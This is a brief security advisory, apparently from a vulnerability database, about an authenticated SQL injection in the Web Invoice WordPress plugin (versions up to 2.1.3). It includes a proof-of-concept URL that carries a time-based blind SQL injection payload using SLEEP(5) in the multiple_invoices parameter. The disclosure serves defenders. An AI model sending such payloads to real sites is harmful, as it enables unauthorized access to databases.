Web Invoice <= 2.1.3 - Authenticated SQLi

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL Injection exploitable by high privilege users such as admin by default. However, depending on the plugin configuration, other users, such as subscriber could exploit this as well

PoC

When logged in with a user allowed to Manage invoice (default admin but can be changed via the plugin’s settings), open the following URL https://example.com/wp-admin/admin.php?page=new_web_invoice&amp;multiple;_invoices[]=31618572+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA)&multiple;_invoices[]=31618572+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA)&web;_invoice_action=clear_log